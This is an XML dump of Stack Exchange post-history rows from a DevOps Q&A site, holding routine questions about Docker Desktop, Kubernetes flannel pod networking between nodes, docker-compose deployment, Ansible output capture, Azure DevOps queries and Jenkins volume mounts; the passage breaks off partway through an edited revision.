  <row Id="39413" PostHistoryTypeId="2" PostId="12848" RevisionGUID="7d1b2cfd-bf82-406b-b801-62837baf1049" CreationDate="2020-11-25T06:14:23.520" UserDisplayName="user24871" Text="I recently upgraded ```docker``` to ```19.03.13``` and my docker desktop client version is ```2.5.0.1 (49550)```. Ever since this upgrade, if the docker desktop client is not running,  ```zsh``` prompts the following when I enter a dir with a ```docker-compose.yml```:&#xD;&#xA;&#xD;&#xA;```Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?```&#xD;&#xA;&#xD;&#xA;and I'm unable to issue docker commands. Is it mandatory to have the desktop client running for the daemon from now?&#xD;&#xA;&#xD;&#xA;edit: spelling" ContentLicense="CC BY-SA 4.0" />
  <row Id="39414" PostHistoryTypeId="1" PostId="12848" RevisionGUID="7d1b2cfd-bf82-406b-b801-62837baf1049" CreationDate="2020-11-25T06:14:23.520" UserDisplayName="user24871" Text="Must the Docker desktop client be running in order for the daemon to be up? (macOS)" ContentLicense="CC BY-SA 4.0" />
  <row Id="39415" PostHistoryTypeId="3" PostId="12848" RevisionGUID="7d1b2cfd-bf82-406b-b801-62837baf1049" CreationDate="2020-11-25T06:14:23.520" UserDisplayName="user24871" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39416" PostHistoryTypeId="2" PostId="12849" RevisionGUID="febc0835-1b0f-4cea-8eda-0d60bd2fd44a" CreationDate="2020-11-25T06:16:03.650" UserId="24872" Text="# Troubleshooting Pod-to-Pod Communication Cross Nodes&#xD;&#xA;&#xD;&#xA;### **Prerequisite:**  &#xD;&#xA;&#xD;&#xA;I use VirtualBox to setup 2 VMs. VirtualBox version is `6.1.16 r140961 (Qt5.6.2)`.  The OS is CentOS-7(`CentOS-7-x86_64-Minimal-2003.iso`).&#xD;&#xA;One VM as kubernetes master node, named `k8s-master1`. Another VM as kubernetes worker node, named `k8s-node1`.  &#xD;&#xA;Attach 2 network interfaces, NAT + Host-Only. NAT is used for internet facing. Host-Only is used for connections among VMs.&#xD;&#xA;&#xD;&#xA;The network information on `k8s-master1`.&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;[root@k8s-master1 ~]# ip addr&#xD;&#xA;1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xD;&#xA;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;    inet 127.0.0.1/8 scope host lo&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 ::1/128 scope host &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;2: enp0s3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&#xD;&#xA;    link/ether 08:00:27:d1:41:4b brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 192.168.56.101/24 brd 192.168.56.255 scope global noprefixroute enp0s3&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::62ae:c676:da76:cbff/64 scope link noprefixroute &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;3: enp0s8: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&#xD;&#xA;    link/ether 08:00:27:8a:2d:63 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.0.3.15/24 brd 10.0.3.255 scope global noprefixroute dynamic enp0s8&#xD;&#xA;       valid_lft 80380sec preferred_lft 80380sec&#xD;&#xA;    inet6 fe80::952e:9af8:a1cb:8a07/64 scope link noprefixroute &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;4: docker0: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc noqueue state DOWN group default &#xD;&#xA;    link/ether 02:42:04:6e:c7:dc brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;5: flannel.1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UNKNOWN group default &#xD;&#xA;    link/ether 06:cd:b1:24:62:fc brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.244.0.0/32 scope global flannel.1&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::4cd:b1ff:fe24:62fc/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;6: cni0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default qlen 1000&#xD;&#xA;    link/ether 06:75:06:d0:17:ee brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.244.0.1/24 brd 10.244.0.255 scope global cni0&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::475:6ff:fed0:17ee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;8: veth221fb276@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue master cni0 state UP group default &#xD;&#xA;    link/ether 62:b9:61:95:0f:73 brd ff:ff:ff:ff:ff:ff link-netnsid 1&#xD;&#xA;    inet6 fe80::60b9:61ff:fe95:f73/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The network information on `k8s-node1`.&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;[root@k8s-node1 ~]# ip addr&#xD;&#xA;1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xD;&#xA;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;    inet 127.0.0.1/8 scope host lo&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 ::1/128 scope host &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;2: enp0s3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&#xD;&#xA;    link/ether 08:00:27:ba:34:4f brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 192.168.56.102/24 brd 192.168.56.255 scope global noprefixroute enp0s3&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::660d:ec2:cb1c:49de/64 scope link noprefixroute &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;3: enp0s8: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&#xD;&#xA;    link/ether 08:00:27:48:6d:8b brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.0.3.15/24 brd 10.0.3.255 scope global noprefixroute dynamic enp0s8&#xD;&#xA;       valid_lft 80039sec preferred_lft 80039sec&#xD;&#xA;    inet6 fe80::62af:7770:3b6d:6576/64 scope link noprefixroute &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;4: docker0: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc noqueue state DOWN group default &#xD;&#xA;    link/ether 02:42:e4:65:f4:28 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;5: flannel.1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UNKNOWN group default &#xD;&#xA;    link/ether 8e:d3:79:63:40:22 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.244.1.0/32 scope global flannel.1&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::8cd3:79ff:fe63:4022/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;6: cni0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default qlen 1000&#xD;&#xA;    link/ether 8e:22:8d:e5:29:24 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.244.1.1/24 brd 10.244.1.255 scope global cni0&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::8c22:8dff:fee5:2924/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;8: veth5314dbaf@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue master cni0 state UP group default &#xD;&#xA;    link/ether 82:58:1c:3a:a1:a3 brd ff:ff:ff:ff:ff:ff link-netnsid 1&#xD;&#xA;    inet6 fe80::8058:1cff:fe3a:a1a3/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;10: calic849a8cefe4@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 2&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;11: cali82f9786c604@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 3&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;12: caliaa01fae8214@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 4&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;13: cali88097e17cd0@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 5&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;15: cali788346fba46@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 0&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;16: caliafdfba3871a@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 6&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;18: cali329803e4ee5@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 7&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;```&#xD;&#xA;I make a table to simplify the network information.&#xD;&#xA;&#xD;&#xA;    | k8s-master1                               | k8s-node1                                  |&#xD;&#xA;    | ----------------------------------------- | ------------------------------------------ |&#xD;&#xA;    | NAT               10.0.3.15/24    enp0s8  | NAT                10.0.3.15/24    enp0s8  |&#xD;&#xA;    | Host-Only     192.168.56.101/24    enp0s3 | Host-Only      192.168.56.102/24    enp0s3 |&#xD;&#xA;    | docker0        172.17.0.1/16              | docker0         172.17.0.1/16              |&#xD;&#xA;    | flannel.1       10.244.1.0/32             | flannel.1        10.244.1.0/32             |&#xD;&#xA;    | cni0               10.244.1.1/24          | cni0                10.244.1.1/24          |&#xD;&#xA;&#xD;&#xA;### **Problem Description**&#xD;&#xA;&#xD;&#xA;**Test case1:**&#xD;&#xA;&#xD;&#xA;Expose Kubernetes Service `nginx-svc` as NodePort, and Pod `nginx` is running on `k8s-node1`。&#xD;&#xA;&#xD;&#xA;*View the NodePort of nginx-svc* &#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;[root@k8s-master1 ~]# kubectl get svc &#xD;&#xA;NAME                    TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE&#xD;&#xA;nginx-svc               NodePort    10.103.236.60    &lt;none&gt;        80:30309/TCP   9h&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Run command `curl http://localhost:30309` on `k8s-master1`. Finally, it returns `Connection timed out`.&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Run command `curl http://localhost:30309` on `k8s-node1`. It returns response.&#xD;&#xA;&#xD;&#xA;   [![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Test case 2**: &#xD;&#xA;&#xD;&#xA;I created another Pod nginx on `k8s-master1`. There is already  a Pod nginx on `k8s-node1`. Make a call from the Pod nginx on `k8s-master1` to the Pod nginx on `k8s-node1`. It also `Connection timed out`. The problem is very likely to [could not communicate cross node's pod in kubernetes cluster using flannel](https://stackoverflow.com/questions/62171023/could-not-communicate-cross-nodes-pod-in-kubernetes-cluster-using-flannel)&#xD;&#xA;&#xD;&#xA;**Test case 3**: &#xD;&#xA;&#xD;&#xA;If 2 nginx pod on the same node, whatever `k8s-master1` or `k8s-node1`. The connection is ok. The pod can get response from another pod.&#xD;&#xA;&#xD;&#xA;**Test case 4:**&#xD;&#xA;&#xD;&#xA;I did several `ping` requests from `k8s-master1` to `k8s-node1` using different IP address.&#xD;&#xA;&#xD;&#xA;Ping `k8s-node1`'s Host-Only IP address:          **Connection Success**&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;ping 192.168.56.102&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Ping `k8s-node1`'s flannel.1 IP address:             **Connection Failed**&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;ping 10.244.1.0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Ping `k8s-node1`'s cni0 IP address:                      **Connection Failed**&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;ping 10.244.1.1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Test case 5:**&#xD;&#xA;&#xD;&#xA;I setup a new k8s cluster using bridge network on the same laptop. Test case 1,2,3,4 cannot be reproduced. No problem of 'Pod-to-Pod Communication Cross Nodes'.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### **Guess**&#xD;&#xA;&#xD;&#xA;1. Firewall. I disabled the firewall on all VMs. Also the firewall on laptop(Win 10), including any antivirus software. The connection problem is still there.&#xD;&#xA;&#xD;&#xA;2. Compare the iptables between k8s cluster attached NAT &amp; Host-Only with k8s cluster attached bridge network. Not found any big difference.&#xD;&#xA;&#xD;&#xA;   ```&#xD;&#xA;   yum install -y net-tools&#xD;&#xA;   iptables -L&#xD;&#xA;   ```&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;### **Solution**&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;# install route&#xD;&#xA;[root@k8s-master1 tzhong]# yum install -y net-tools&#xD;&#xA;&#xD;&#xA;# View routing table after k8s cluster installed thru. kubeadm.&#xD;&#xA;[root@k8s-master1 tzhong]# route&#xD;&#xA;Kernel IP routing table&#xD;&#xA;Destination     Gateway         Genmask         Flags Metric Ref    Use Iface&#xD;&#xA;default         gateway         0.0.0.0         UG    100    0        0 enp0s3&#xD;&#xA;10.0.2.0        0.0.0.0         255.255.255.0   U     100    0        0 enp0s3&#xD;&#xA;10.244.0.0      0.0.0.0         255.255.255.0   U     0      0        0 cni0&#xD;&#xA;10.244.1.0      10.244.1.0      255.255.255.0   UG    0      0        0 flannel.1&#xD;&#xA;172.17.0.0      0.0.0.0         255.255.0.0     U     0      0        0 docker0&#xD;&#xA;192.168.56.0    0.0.0.0         255.255.255.0   U     101    0        0 enp0s8&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Focus on the below routing table rule. This rule means that all the requests from `k8s-master1`, and the destination is `10.244.1.0/24` will be forwarded by `flannel.1`. &#xD;&#xA;&#xD;&#xA;But seems that the `flannel.1` has some problems. So I just have a try. Add a new routing table rule that all the requests from `k8s-master1`, and the destination is `10.244.1.0/24` will be forwarded by `enp0s8`. &#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;# Run below commands on k8s-master1 to add routing table rules. 10.244.1.0 is the IP address of flannel.1 on k8s-node1.&#xD;&#xA;route add -net 10.244.1.0 netmask 255.255.255.0 enp0s8&#xD;&#xA;route add -net 10.244.1.0 netmask 255.255.255.0 gw 10.244.1.0&#xD;&#xA;&#xD;&#xA;[root@k8s-master1 ~]# route&#xD;&#xA;Kernel IP routing table&#xD;&#xA;Destination     Gateway         Genmask         Flags Metric Ref    Use Iface&#xD;&#xA;default         gateway         0.0.0.0         UG    100    0        0 enp0s3&#xD;&#xA;10.0.2.0        0.0.0.0         255.255.255.0   U     100    0        0 enp0s3&#xD;&#xA;10.244.0.0      0.0.0.0         255.255.255.0   U     0      0        0 cni0&#xD;&#xA;10.244.1.0      10.244.1.0      255.255.255.0   UG    0      0        0 enp0s8&#xD;&#xA;10.244.1.0      0.0.0.0         255.255.255.0   U     0      0        0 enp0s8&#xD;&#xA;10.244.1.0      10.244.1.0      255.255.255.0   UG    0      0        0 flannel.1&#xD;&#xA;172.17.0.0      0.0.0.0         255.255.0.0     U     0      0        0 docker0&#xD;&#xA;192.168.56.0    0.0.0.0         255.255.255.0   U     101    0        0 enp0s8&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Two additional routing table rules has been added.&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;10.244.1.0      10.244.1.0      255.255.255.0   UG    0      0        0 enp0s8&#xD;&#xA;10.244.1.0      0.0.0.0         255.255.255.0   U     0      0        0 enp0s8&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Do the same way on `k8s-node1`.&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;# Run below commands on k8s-node1 to add routing table rules. 10.244.0.0 is the IP address of flannel.1 on k8s-master1.&#xD;&#xA;route add -net 10.244.0.0 netmask 255.255.255.0 enp0s8&#xD;&#xA;route add -net 10.244.0.0 netmask 255.255.255.0 gw 10.244.0.0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Do test case 1,2,3,4,5 again. All passed.** I am confused, why? I have a couple of questions.&#xD;&#xA;&#xD;&#xA;### Questions:&#xD;&#xA;&#xD;&#xA;1. Why the connection of `flannel.1` is blocked? Any way/methods to investigation?&#xD;&#xA;&#xD;&#xA;2. Is that a limitation of Host-Only network interface with flannel? If I change to other CNI plugins, the connection will be ok?&#xD;&#xA;&#xD;&#xA;3. After add routing tables using `enp0s8`, why the connection becomes ok?&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/HukIz.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/YcPIG.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39417" PostHistoryTypeId="1" PostId="12849" RevisionGUID="febc0835-1b0f-4cea-8eda-0d60bd2fd44a" CreationDate="2020-11-25T06:16:03.650" UserId="24872" Text="【Troubleshooting and Questions】Kubernetes Pod-to-Pod Communication Cross Nodes" ContentLicense="CC BY-SA 4.0" />
  <row Id="39418" PostHistoryTypeId="3" PostId="12849" RevisionGUID="febc0835-1b0f-4cea-8eda-0d60bd2fd44a" CreationDate="2020-11-25T06:16:03.650" UserId="24872" Text="&lt;kubernetes&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39419" PostHistoryTypeId="2" PostId="12850" RevisionGUID="b72ce4b8-b811-4125-8f54-20cbc6040b1e" CreationDate="2020-11-25T07:45:22.933" UserId="24874" Text="I have 3 separate repositories, which contains API, web app, and Admin projects. All 3 runs on a Digital Ocean docker machine, and I deploy the 3 using docker-compose (I want to keep things simple).&#xD;&#xA;&#xD;&#xA;Every time a push to master with a tag happen, GithubActions build each separate project and publish a docker image (with the corresponding tag), and then I manually launch `docker compose up -d`. The docker compose file point to the latest version of each image, so it get automatically reloaded and launched.&#xD;&#xA;&#xD;&#xA;Is there a better way to automatically reload the docker compose from GitHub Actions? I ideally want that each time a repository build an image and push it to the registry, the docker compose automatically reload." ContentLicense="CC BY-SA 4.0" />
  <row Id="39420" PostHistoryTypeId="1" PostId="12850" RevisionGUID="b72ce4b8-b811-4125-8f54-20cbc6040b1e" CreationDate="2020-11-25T07:45:22.933" UserId="24874" Text="Deploy Docker Compose from different repositories" ContentLicense="CC BY-SA 4.0" />
  <row Id="39421" PostHistoryTypeId="3" PostId="12850" RevisionGUID="b72ce4b8-b811-4125-8f54-20cbc6040b1e" CreationDate="2020-11-25T07:45:22.933" UserId="24874" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39422" PostHistoryTypeId="2" PostId="12851" RevisionGUID="823aced0-711c-4d77-8eb6-5ba1a43ff834" CreationDate="2020-11-25T10:02:05.200" UserId="24877" Text="You can see bellow how it looks like my Ansible Script.&#xD;&#xA;&#xD;&#xA;My question is what i need to change to get output from multiple commands to a file.The problem is that i get output only from the first command.&#xD;&#xA;&#xD;&#xA;I have 200 vrf,do i really need to make multiple tasks fior multiple commands,or there is another solution for it.&#xD;&#xA;&#xD;&#xA;I would highly appreciate any response.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;- name: PING_TenGig_Ethernet_VRFs&#xD;&#xA;  hosts: fr1.s05&#xD;&#xA;  gather_facts: false&#xD;&#xA;  connection: local&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;    - name: run multiple commands on remote nodes&#xD;&#xA;      ios_command:&#xD;&#xA;        commands:&#xD;&#xA;          - show bgp vrf Mgmt-intf&#xD;&#xA;          - show bgp vrf cha-00 all summary&#xD;&#xA;          - show bgp vrf cha-001 all summary&#xD;&#xA;          - show bgp vrf cha-002 all summary&#xD;&#xA;          - show bgp vrf cha-00303 all summary&#xD;&#xA;&#xD;&#xA;      register: print_output&#xD;&#xA;&#xD;&#xA;    -  debug: var=print_output.stdout_lines&#xD;&#xA;&#xD;&#xA;    - name: save output to a file&#xD;&#xA;      copy: content=&quot;{{ print_output.stdout[0] }}&quot; dest=&quot;./output/{{ inventory_hostname }}.txt&quot;&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;&#xD;&#xA;Ado" ContentLicense="CC BY-SA 4.0" />
  <row Id="39423" PostHistoryTypeId="1" PostId="12851" RevisionGUID="823aced0-711c-4d77-8eb6-5ba1a43ff834" CreationDate="2020-11-25T10:02:05.200" UserId="24877" Text="Ansible multiple commands to a file" ContentLicense="CC BY-SA 4.0" />
  <row Id="39424" PostHistoryTypeId="3" PostId="12851" RevisionGUID="823aced0-711c-4d77-8eb6-5ba1a43ff834" CreationDate="2020-11-25T10:02:05.200" UserId="24877" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39425" PostHistoryTypeId="2" PostId="12852" RevisionGUID="8f06a942-b8e2-4c04-af11-1b48d6e14ad7" CreationDate="2020-11-25T10:22:10.913" UserId="24878" Text="I have build a query with tasks.&#xD;&#xA;&#xD;&#xA;    Iteration path = @currentiteration&#xD;&#xA;    Work Item type = Task&#xD;&#xA;&#xD;&#xA;I want to add the task board column the task is in. These columns are customized.&#xD;&#xA;When I add `Board Column` this information is missing when I view the results.&#xD;&#xA;&#xD;&#xA;I can query the `state` but I need more detail than that.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39426" PostHistoryTypeId="1" PostId="12852" RevisionGUID="8f06a942-b8e2-4c04-af11-1b48d6e14ad7" CreationDate="2020-11-25T10:22:10.913" UserId="24878" Text="sprint taskboard columns not showing in query" ContentLicense="CC BY-SA 4.0" />
  <row Id="39427" PostHistoryTypeId="3" PostId="12852" RevisionGUID="8f06a942-b8e2-4c04-af11-1b48d6e14ad7" CreationDate="2020-11-25T10:22:10.913" UserId="24878" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39430" PostHistoryTypeId="10" PostId="12792" RevisionGUID="6e6be549-e519-40fb-a94c-a9a9c5702aeb" CreationDate="2020-11-25T10:30:41.400" UserId="40" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="39431" PostHistoryTypeId="4" PostId="12852" RevisionGUID="bdfc1c62-6b21-4f01-921a-0e29243de11a" CreationDate="2020-11-25T10:32:44.233" UserId="24878" Comment="edited title" Text="azure devops - Sprint taskboard columns not showing in query result" ContentLicense="CC BY-SA 4.0" />
  <row Id="39432" PostHistoryTypeId="2" PostId="12853" RevisionGUID="c53f8756-e259-4364-9215-c10fb04b3c0d" CreationDate="2020-11-25T12:25:14.783" UserId="18007" Text="I have the below command in my Jenkinsfile:&#xD;&#xA;&#xD;&#xA;    docker run --rm -v '${WORKSPACE}':/var/cache/de --entrypoint=/usr/local/bin/pytest ${IMAGE_NAME}:${IMAGE_VERSION} -m &quot;not require_dss&quot; -s -v --cov-report term --cov=app_dss_bundle --junitxml=/var/cache/de/rtest.xml tests&#xD;&#xA;    &#xD;&#xA;    ls -l&#xD;&#xA;&#xD;&#xA;but for some reason, I can't see the `rtest.xml` in the path afterward. it works for me in my private linux docker env." ContentLicense="CC BY-SA 4.0" />
  <row Id="39433" PostHistoryTypeId="1" PostId="12853" RevisionGUID="c53f8756-e259-4364-9215-c10fb04b3c0d" CreationDate="2020-11-25T12:25:14.783" UserId="18007" Text="docker mount doesn't work in Jenkinsfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="39434" PostHistoryTypeId="3" PostId="12853" RevisionGUID="c53f8756-e259-4364-9215-c10fb04b3c0d" CreationDate="2020-11-25T12:25:14.783" UserId="18007" Text="&lt;docker&gt;&lt;jenkinsfile&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39435" PostHistoryTypeId="2" PostId="12854" RevisionGUID="63b4ac98-c9d6-4b8b-b0b6-f482d329a2ff" CreationDate="2020-11-25T14:12:05.877" UserId="24882" Text="I have a fully working dependent dropdown using [**AngularJS**][1] and sometimes it's showing wrong data after selecting the parent dropdown, sometime it loads different data even the selected in parent dropdown is not that.&#xD;&#xA;&#xD;&#xA;In the database structure there's a relationship of region_id, province_id, city_id so I don't think it's a backend problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hkrtrainings.com/angular-js-certification-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="39436" PostHistoryTypeId="1" PostId="12854" RevisionGUID="63b4ac98-c9d6-4b8b-b0b6-f482d329a2ff" CreationDate="2020-11-25T14:12:05.877" UserId="24882" Text="angularjs dependent dropdown loads wrong data" ContentLicense="CC BY-SA 4.0" />
  <row Id="39437" PostHistoryTypeId="3" PostId="12854" RevisionGUID="63b4ac98-c9d6-4b8b-b0b6-f482d329a2ff" CreationDate="2020-11-25T14:12:05.877" UserId="24882" Text="&lt;kubernetes-volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39438" PostHistoryTypeId="5" PostId="12849" RevisionGUID="b4a19805-14f0-45ea-9b56-592cd53f6b61" CreationDate="2020-11-25T16:21:04.450" UserId="40" Comment="deleted 58 characters in body; edited title" Text="### **Prerequisite:**  &#xD;&#xA;&#xD;&#xA;I use VirtualBox to setup 2 VMs. VirtualBox version is `6.1.16 r140961 (Qt5.6.2)`.  The OS is CentOS-7(`CentOS-7-x86_64-Minimal-2003.iso`).&#xD;&#xA;One VM as kubernetes master node, named `k8s-master1`. Another VM as kubernetes worker node, named `k8s-node1`.  &#xD;&#xA;Attach 2 network interfaces, NAT + Host-Only. NAT is used for internet facing. Host-Only is used for connections among VMs.&#xD;&#xA;&#xD;&#xA;The network information on `k8s-master1`.&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;[root@k8s-master1 ~]# ip addr&#xD;&#xA;1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xD;&#xA;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;    inet 127.0.0.1/8 scope host lo&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 ::1/128 scope host &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;2: enp0s3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&#xD;&#xA;    link/ether 08:00:27:d1:41:4b brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 